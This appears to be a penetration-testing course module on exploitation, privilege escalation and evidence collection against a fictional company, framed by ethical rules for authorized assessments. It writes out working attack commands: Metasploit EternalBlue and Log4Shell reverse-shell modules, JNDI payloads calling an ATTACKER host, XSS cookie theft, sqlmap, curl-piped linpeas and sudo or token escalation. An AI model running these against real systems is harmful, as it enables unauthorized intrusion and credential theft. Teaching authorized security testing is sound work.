"The goal of exploitation is proof, not destruction. A single screenshot of domain admin access tells a
more compelling story than a hundred vulnerability scan results."
— Penetration Testing Principle
Exploitation transforms theoretical vulnerabilities into demonstrated risk.
While vulnerability scanners identify potential weaknesses, exploitation proves
they're real and shows exactly what an attacker could achieve. This evidence
drives remediation priority and executive attention in ways that CVSS scores
alone cannot.
Learning Outcomes
By the end of this week, you will be able to:
LO1: Execute controlled exploitation of validated vulnerabilities using
industry-standard frameworks
LO2: Demonstrate privilege escalation techniques on compromised systems
LO3: Document exploitation chains with clear proof-of-concept evidence
LO4: Apply ethical boundaries and safety controls during active exploitation
LO5: Correlate exploitation success with business impact for risk communication
Introduction: From Identification to Proof
Over the past two weeks, you've identified vulnerabilities across NovaTech's
infrastructure and web applications. Your scanner reports show critical and
high findings. But stakeholders often question: "Could someone actually
exploit this? What would happen if they did?"
This week answers those questions. Controlled exploitation demonstrates that
vulnerabilities aren't just theoretical—they represent real paths to compromise.
Your goal isn't to cause damage but to prove impact in a way that drives action.
Critical: Ethical Boundaries
Exploitation carries inherent risk. Before proceeding, ensure:
You have explicit written authorization for exploitation testing
You understand and will stay within defined scope boundaries
You have emergency contacts ready if something goes wrong
You will stop immediately if you cause unintended impact
You will not access, modify, or exfiltrate actual customer data
You document everything for transparency and accountability
1. Exploitation Fundamentals
Exploitation is the process of leveraging a vulnerability to achieve an
unauthorized outcome—typically code execution, data access, or privilege
escalation. Understanding exploitation mechanics helps you both execute
attacks effectively and explain findings to stakeholders.
The Exploitation Lifecycle
┌─────────────────────────────────────────────────────────────────┐
│ EXPLOITATION LIFECYCLE │
├─────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ │
│ │ IDENTIFY │───▶│ VALIDATE │───▶│ EXPLOIT │───▶│ POST- │ │
│ │ │ │ │ │ │ │ EXPLOIT │ │
│ └──────────┘ └──────────┘ └──────────┘ └──────────┘ │
│ │ │ │ │ │
│ ▼ ▼ ▼ ▼ │
│ Vulnerability Confirm vuln Gain initial Escalate, │
│ scanning exists and access or pivot, │
│ (Weeks 3-4) is exploitable achieve goal demonstrate │
│ impact │
│ │
│ KEY QUESTIONS AT EACH STAGE: │
│ ───────────────────────────── │
│ Identify: What might be vulnerable? │
│ Validate: Is this actually exploitable in this context? │
│ Exploit: Can I gain access/control? │
│ Post: What can I do from here? How far can I go? │
│ │
└─────────────────────────────────────────────────────────────────┘
Types of Exploitation Outcomes
Remote Code Execution (RCE)
The ability to execute arbitrary commands on a remote system.
Considered the most severe exploitation outcome as it typically
leads to full system compromise.
Example: Exploiting Log4Shell to execute commands
on the Jenkins server, gaining shell access as the application user.
Authentication Bypass
Gaining access to a system or application without valid credentials.
May provide immediate access to sensitive functionality or data.
Example: Exploiting a JWT algorithm confusion
vulnerability to forge authentication tokens.
Privilege Escalation
Elevating from a lower-privilege context to higher privileges.
Can be local (user to root) or application-level (user to admin).
Example: Exploiting a misconfigured sudo rule to
escalate from web application user to root.
Data Access
Unauthorized access to sensitive information through vulnerabilities
like SQL injection, IDOR, or file inclusion.
Example: Using SQL injection to extract the user
database including password hashes.
Lateral Movement
Moving from one compromised system to access additional systems.
Demonstrates how initial compromise can spread through the network.
Example: Using credentials found on Jenkins to
access AWS resources or internal systems.
Proof-of-Concept vs. Full Exploitation
In professional assessments, the goal is proving impact, not maximizing damage.
This distinction is critical:
Aspect
Proof-of-Concept (PoC)
Full Exploitation
Goal
Demonstrate vulnerability is exploitable
Achieve maximum impact/access
Scope
Minimum necessary to prove the point
Comprehensive compromise
Data Access
Show access is possible; don't exfiltrate
Extract/modify data
Persistence
Typically not installed
Establish ongoing access
Risk Level
Lower (controlled, limited)
Higher (more potential for damage)
Appropriate For
Most security assessments
Red team exercises with explicit scope
Assessment Standard: Proof-of-Concept
For NovaTech's engagement, use PoC exploitation. Your goal is demonstrating
risk, not simulating a full attack. If you achieve code execution, capture
evidence (whoami, hostname, screenshot) and stop. Don't pivot through the
entire network or access production customer data.
2. Exploitation Tools and Frameworks
Several frameworks streamline the exploitation process by providing exploit
code, payload generation, and post-exploitation capabilities.
Metasploit Framework
Metasploit is the most widely-used exploitation framework, providing a
structured approach to vulnerability exploitation with extensive module
libraries.
# Start Metasploit console
msfconsole
# Search for exploits
msf6> search log4shell
msf6> search type:exploit platform:linux smb
# Select an exploit
msf6> use exploit/multi/http/log4shell_header_injection
# View required options
msf6> show options
msf6> show info
# Set target and payload options
msf6> set RHOSTS target.novatech-solutions.com
msf6> set RPORT 8080
msf6> set LHOST your-ip-address
msf6> set LPORT 4444
# Select payload
msf6> set PAYLOAD linux/x64/shell_reverse_tcp
# Verify settings
msf6> show options
# Execute exploit
msf6> exploit
# or
msf6> run
Meterpreter Basics
Meterpreter is an advanced payload providing an interactive shell with
extensive post-exploitation capabilities.
# Once Meterpreter session established:
meterpreter> sysinfo # System information
meterpreter> getuid # Current user
meterpreter> pwd # Current directory
meterpreter> ls # List files
# Privilege escalation
meterpreter> getsystem # Attempt to elevate (Windows)
# Network information
meterpreter> ipconfig # Network interfaces
meterpreter> route # Routing table
meterpreter> arp # ARP cache
# Credential harvesting (with appropriate permissions)
meterpreter> hashdump # Dump password hashes
# Screenshots and evidence
meterpreter> screenshot # Capture screen
meterpreter> download file.txt # Download file for evidence
# Pivoting
meterpreter> run autoroute -s 10.10.10.0/24 # Add route for pivoting
# Clean exit
meterpreter> exit
Manual Exploitation Tools
Many exploits don't require frameworks. Simple tools combined with
public exploit code are often sufficient.
Netcat (nc)
# Set up listener for reverse shell
nc -lvnp 4444
# Connect to bind shell
nc target 4444
# File transfer
# Receiver:
nc -lvnp 4444 > received_file
# Sender:
nc target 4444 < file_to_send
Based on your Week 3 vulnerability assessment, several NovaTech systems
present exploitation opportunities. This section covers common scenarios
you might encounter.
Scenario 1: Exploiting Vulnerable Services
EternalBlue (MS17-010) Exploitation
If your scans identified Windows systems vulnerable to EternalBlue,
this SMB vulnerability provides reliable remote code execution.
# Metasploit exploitation
msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6> set RHOSTS 10.10.10.50
msf6> set LHOST your-ip
msf6> set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6> exploit
# On success, you'll get a Meterpreter session
meterpreter> getuid
Server username: NT AUTHORITY\SYSTEM
# Document the access
meterpreter> sysinfo
meterpreter> ipconfig
meterpreter> screenshot
Evidence to Capture
Screenshot of Meterpreter session establishing
getuid output showing SYSTEM access
sysinfo output confirming target hostname
ipconfig showing network position
SSH Credential Exploitation
If weak SSH credentials were identified, demonstrate access:
Exploit confirmed SQL injection to demonstrate data access:
# Using sqlmap with previously identified injection point
sqlmap -u "https://api.workflowpro.io/api/search?q=test" \
--cookie="session=abc123" \
--batch --dbs
# Enumerate databases
available databases [3]:
[*] information_schema
[*] workflowpro
[*] mysql
# Enumerate tables (proof of access)
sqlmap -u "https://api.workflowpro.io/api/search?q=test" \
--cookie="session=abc123" \
--batch -D workflowpro --tables
# Show table structure (DON'T dump actual data)
sqlmap -u "https://api.workflowpro.io/api/search?q=test" \
--cookie="session=abc123" \
--batch -D workflowpro -T users --columns
# Document: You CAN access the users table
# DO NOT: Dump actual user data
Ethical Boundary
Demonstrate you CAN access data; don't actually extract customer
information. Show table names and column structures as proof.
If you must show data access, use LIMIT 1 and redact any PII in
your report.
XSS to Session Hijacking (Proof of Concept)
# Set up listener to receive stolen cookies
# Using netcat:
nc -lvnp 8888
# Or using Python HTTP server with logging:
python3 -m http.server 8888
# Inject XSS payload that sends cookies to your server
# Payload (URL encoded for delivery):
# When victim views the page, you receive:
GET /steal?c=session=abc123;user_token=xyz789 HTTP/1.1
# Document: Cookie received proves session hijacking is possible
# DO NOT: Actually use the stolen cookie to access victim's account
Scenario 3: Log4Shell (CVE-2021-44228)
Log4Shell Exploitation
If Jenkins or other Java applications are vulnerable to Log4Shell:
# Method 1: Using Metasploit
msf6> use exploit/multi/http/log4shell_header_injection
msf6> set RHOSTS jenkins.novatech-solutions.com
msf6> set RPORT 8080
msf6> set TARGETURI /
msf6> set SRVHOST your-ip
msf6> set SRVPORT 1389
msf6> set PAYLOAD linux/x64/shell_reverse_tcp
msf6> set LHOST your-ip
msf6> set LPORT 4444
msf6> exploit
# Method 2: Manual exploitation
# Start LDAP listener (using various tools like rogue-jndi)
java -jar target/RogueJndi-1.1.jar --command "curl http://ATTACKER/callback" \
--hostname your-ip
# Inject payload via vulnerable header
curl -H 'X-Forwarded-For: ${jndi:ldap://your-ip:1389/o=reference}' \
https://jenkins.novatech-solutions.com/
# Check for callback to confirm code execution
4. Privilege Escalation
Initial exploitation often provides limited access. Privilege escalation
elevates your access to demonstrate full compromise potential.
Linux Privilege Escalation
Enumeration First
# Basic system enumeration
whoami
id
uname -a
cat /etc/os-release
# Find SUID binaries
find / -perm -4000 -type f 2>/dev/null
# Check sudo permissions
sudo -l
# Find writable directories
find / -writable -type d 2>/dev/null
# Check cron jobs
cat /etc/crontab
ls -la /etc/cron.*
# Look for credentials
cat ~/.bash_history
cat /etc/passwd
ls -la /home/
# Automated enumeration with LinPEAS
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
Common Linux Privilege Escalation Vectors
Vector
Description
Exploitation
Sudo misconfiguration
User can run specific commands as root
sudo -l, check GTFOBins for escalation
SUID binaries
Programs running with owner privileges
Find unusual SUID files, check GTFOBins
Writable /etc/passwd
Can add new root user
Add user with UID 0
Kernel exploits
Vulnerabilities in Linux kernel
DirtyPipe, DirtyCow (if old kernel)
Cron job exploitation
Writable scripts in cron
Modify script to execute as root
Credential harvesting
Passwords in files/history
Search for passwords, reuse for root
Example: Sudo Misconfiguration
# Check sudo permissions
$ sudo -l
User webadmin may run the following commands on nova-server:
(ALL) NOPASSWD: /usr/bin/vim
# GTFOBins shows vim can escalate
$ sudo vim -c ':!/bin/bash'
# Now running as root
# whoami
root
Windows Privilege Escalation
Windows Enumeration
# Basic info
whoami
whoami /priv
whoami /groups
systeminfo
# Network info
ipconfig /all
netstat -an
# Users and groups
net user
net localgroup administrators
# Running services
tasklist /svc
wmic service get name,displayname,pathname,startmode
# Find unquoted service paths
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows"
# Automated enumeration with WinPEAS
# Download and run winPEASany.exe
Common Windows Privilege Escalation Vectors
Vector
Description
Exploitation
Unquoted service paths
Service path without quotes allows injection
Place executable in writable path segment
Weak service permissions
Can modify service binary or config
Replace binary or change path
AlwaysInstallElevated
MSI files install with SYSTEM
Create malicious MSI package
Token impersonation
SeImpersonatePrivilege enabled
PrintSpoofer, JuicyPotato
Credential harvesting
Stored credentials, memory dumps
Mimikatz, registry extraction
UAC bypass
Bypass User Account Control
Various techniques depending on version
Example: Token Impersonation with PrintSpoofer
# Check current privileges
whoami /priv
# Look for: SeImpersonatePrivilege - Enabled
# Use PrintSpoofer to escalate
PrintSpoofer.exe -i -c cmd
# Now running as SYSTEM
C:\> whoami
nt authority\system
GTFOBins and LOLBAS
Essential resources for privilege escalation using legitimate binaries:
GTFOBins (Linux): gtfobins.github.io — Curated list of Unix binaries that can be exploited
The purpose of post-exploitation in an assessment is gathering evidence
that demonstrates impact. What you document here drives remediation priority.
Evidence Collection Checklist
System Access Evidence
Screenshot of shell/session establishment
whoami / id output showing user context
hostname / sysinfo confirming target
ipconfig / ifconfig showing network position
Timestamp of access
Privilege Escalation Evidence
Before: User context before escalation
Vector: Technique used to escalate
After: Elevated privileges (root/SYSTEM)
Command history showing escalation steps
Data Access Evidence
Proof that sensitive data IS accessible
File listings (not full contents)
Database table names and schemas
Sample rows with PII REDACTED
Lateral Movement Evidence
Credentials discovered on compromised system
Network connections available from compromised system
Access to additional systems (proof only)
Documenting an Exploitation Chain
NOVA-EXPLOIT-001Critical
Full System Compromise via Log4Shell → Privilege Escalation
Summary
Successful exploitation of Log4Shell vulnerability on Jenkins server
combined with sudo misconfiguration resulted in root-level access to
critical CI/CD infrastructure.
Attack Chain
┌────────────────┐ ┌────────────────┐ ┌────────────────┐
│ Log4Shell │───▶│ Shell as │───▶│ Root via │
│ CVE-2021-44228│ │ 'jenkins' user │ │ sudo vim │
└────────────────┘ └────────────────┘ └────────────────┘
CVSS: 10.0 Initial Access Full Compromise
┌────────────────┐ ┌────────────────┐
│ AWS Keys │───▶│ Potential │
│ Discovered │ │ Cloud Access │
└────────────────┘ └────────────────┘
Credential Theft Lateral Movement
Step 1: Initial Exploitation
# Started listener
$ nc -lvnp 4444
listening on [any] 4444 ...
# Sent Log4Shell payload
$ curl -H 'X-Api-Version: ${jndi:ldap://ATTACKER:1389/Basic/ReverseShell/ATTACKER/4444}' \
https://jenkins.novatech-solutions.com/
# Received connection
connect to [ATTACKER] from jenkins.novatech-solutions.com [54.85.xxx.xxx] 45892
$ whoami
jenkins
$ hostname
jenkins-prod-01
# Checked sudo permissions
$ sudo -l
User jenkins may run the following commands on jenkins-prod-01:
(ALL) NOPASSWD: /usr/bin/vim
# Escalated via vim
$ sudo vim -c ':!/bin/bash'
# Verified root access
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
Exploitation carries the highest risk of any assessment activity. Strict
adherence to safety practices protects both you and the client.
Pre-Exploitation Checklist
During Exploitation
Know Your Exploit
Never run exploit code you don't understand. Review the code,
understand what it does, and verify it won't cause unintended
damage (DoS, data corruption, etc.).
Minimize Footprint
Achieve your proof-of-concept objective and stop. Don't install
persistence mechanisms, don't dump entire databases, don't
explore beyond what's needed to demonstrate impact.
Document Everything
Record all commands executed, all access obtained, all files
touched. This protects you if questions arise later about
what happened during testing.
Avoid Production Data
Demonstrate access without exfiltrating real customer data.
Show that you CAN access the database; don't download all
customer records.
Stop If Something Goes Wrong
If you cause unexpected impact—service crash, data corruption,
alert storms—stop immediately and notify the client. Don't
try to "fix it" yourself.
After Exploitation
Clean Up
Remove any files uploaded, shells deployed, or accounts created
during testing. Document what you removed.
Secure Your Evidence
Evidence may contain sensitive information (credentials, data
samples). Store it securely and handle according to engagement
data handling requirements.
Report Critical Findings Immediately
Don't wait for the final report to tell the client you achieved
root on their CI/CD server. Critical exploitation success
warrants immediate notification.
Self-Check Questions
Test your understanding of exploitation concepts and practices:
Question 1
Your vulnerability scan identified MS17-010 (EternalBlue) on a Windows
Server. Before attempting exploitation, what should you verify?
Reveal Answer
Before attempting exploitation, verify:
Scope: The specific server is explicitly in scope for penetration testing
(not just scanning)
Stability: The EternalBlue exploit can be unstable; verify this isn't a
production-critical system without recovery capability
Authorization: Exploitation is covered in the engagement charter
Timing: You're within authorized testing windows
Validate the finding: Manually verify the vulnerability exists (scanner
could be wrong)
Backup plan: Know who to contact if exploitation crashes the service
Documentation ready: Prepared to capture evidence immediately
Note: MS17-010 exploits can occasionally crash systems. On critical
production servers, you might document the vulnerability without
exploiting, noting it as "highly likely exploitable" based on
version confirmation.
Question 2
You've achieved a reverse shell on a Linux server as the 'www-data' user.
Running sudo -l shows no sudo permissions. What are your
next steps for privilege escalation enumeration?
Reveal Answer
With no sudo access, enumerate other escalation vectors:
SUID binaries:find / -perm -4000 -type f 2>/dev/null — Look
for unusual SUID programs
Writable files:find / -writable -type f 2>/dev/null — Check
for writable scripts or configs
Cron jobs:cat /etc/crontab, ls -la /etc/cron.* —
Look for writable cron scripts
Kernel version:uname -a — Check for kernel exploits
(DirtyPipe, etc.)
Credentials: Search for passwords in config files, history, environment
variables
Running processes:ps aux — Look for processes running as root
that might be exploitable
Capabilities:getcap -r / 2>/dev/null — Check for binaries
with dangerous capabilities
Automated: Run LinPEAS for comprehensive enumeration
Question 3
You've exploited SQL injection and can now read arbitrary data from the
database. The database contains a 'users' table with 50,000 customer
records including names, emails, and hashed passwords. How should you
document this finding?
Reveal Answer
Document to prove impact without exposing customer data:
Show access capability: Document the SQL injection steps, the query used
Show table structure:SELECT column_name FROM information_schema.columns WHERE table_name='users'
Show record count:SELECT COUNT(*) FROM users — Proves scale
of exposure
Sample with redaction: At most, show 1-2 rows with PII redacted:
REDACTED@example.com
Hash analysis: Note the hashing algorithm (bcrypt, MD5, etc.) without
cracking
Do NOT:
Dump all 50,000 records
Attempt to crack password hashes
Include unredacted customer data in your report
Exfiltrate the data to your systems
Question 4
Explain the difference between a "bind shell" and a "reverse shell."
Why are reverse shells typically preferred in penetration testing?
Reveal Answer
Bind Shell:
Opens a listening port on the TARGET
Attacker connects TO the target
Requires inbound connection to target
Often blocked by firewalls
Reverse Shell:
Opens a listening port on the ATTACKER
Target connects back TO the attacker
Uses outbound connection from target
Often allowed by firewalls (outbound usually permitted)
Why reverse shells preferred:
Firewalls typically block inbound but allow outbound
NAT makes inbound connections to internal hosts difficult
Reverse shells work through most network configurations
Less likely to be noticed (looks like normal outbound traffic)
Question 5
You're attempting to exploit a vulnerability but the exploit keeps failing.
You suspect network-based security controls are blocking your payloads.
What steps can you take to diagnose and potentially bypass these controls?
Reveal Answer
Diagnostic and bypass steps:
Confirm vulnerability exists: Does manual testing confirm the vuln without
exploit payloads?
Test connectivity: Can you reach the target on the required port? Test with
simple ping/curl
Test reverse shell connectivity: Can the target reach your listener? Try
different ports (80, 443 often allowed)
Alternative payloads: Different payload types may evade detection
(web_delivery vs staged)
HTTPS: Encrypted connections may bypass inspection
Smaller payloads: Stageless vs staged, simpler shells
Alternative ports: Use common ports (80, 443, 8080) for reverse connections
Document regardless: If controls block exploitation, document the
vulnerability as "confirmed but exploitation prevented by [control]."
This still demonstrates the vulnerability exists and might be exploited
if controls fail.
Question 6
After achieving root access on the Jenkins server, you discover AWS
credentials that appear to have administrative access. What are the
ethical boundaries for testing these credentials?
Reveal Answer
Ethical boundaries for discovered AWS credentials:
Acceptable:
Verify validity:aws sts get-caller-identity — confirms
credentials work
Check permissions:aws iam list-attached-user-policies —
understand access level
Not acceptable (without explicit scope expansion):
Download data from S3 buckets
Access EC2 instances not in original scope
Modify any AWS resources
Create new IAM users or roles
Access other AWS accounts
✓ Best practice
Document the credential discovery and demonstrate
access capability. Notify client immediately—this may warrant scope
expansion discussion. Don't proceed into AWS environment without
explicit authorization update.
Lab: Controlled Exploitation Exercises
Objective
Perform controlled exploitation against practice targets, demonstrating
proof-of-concept attacks and documenting exploitation chains with
professional evidence.
Deliverables
Exploitation Log: Documented exploitation attempts (successful and failed)
Proof-of-Concept Evidence: Screenshots and command outputs proving access
Attack Chain Documentation: At least one multi-stage attack documented
Time Estimate
5-6 hours
Practice Targets
Use these intentionally vulnerable environments for safe exploitation practice:
Metasploitable 2: Classic vulnerable Linux VM —
Download
Reflect on the transition from vulnerability identification to active
exploitation. How does successfully exploiting a vulnerability change
your understanding of its risk compared to reading about it in a scanner
report? How would you explain the difference to a non-technical executive?
Consider the ethical dimensions of exploitation testing. What safeguards
did you employ during this week's lab? How do you balance the need to
demonstrate impact against the responsibility to avoid harm? What would
you do if, during a real engagement, you accidentally caused a system
to crash?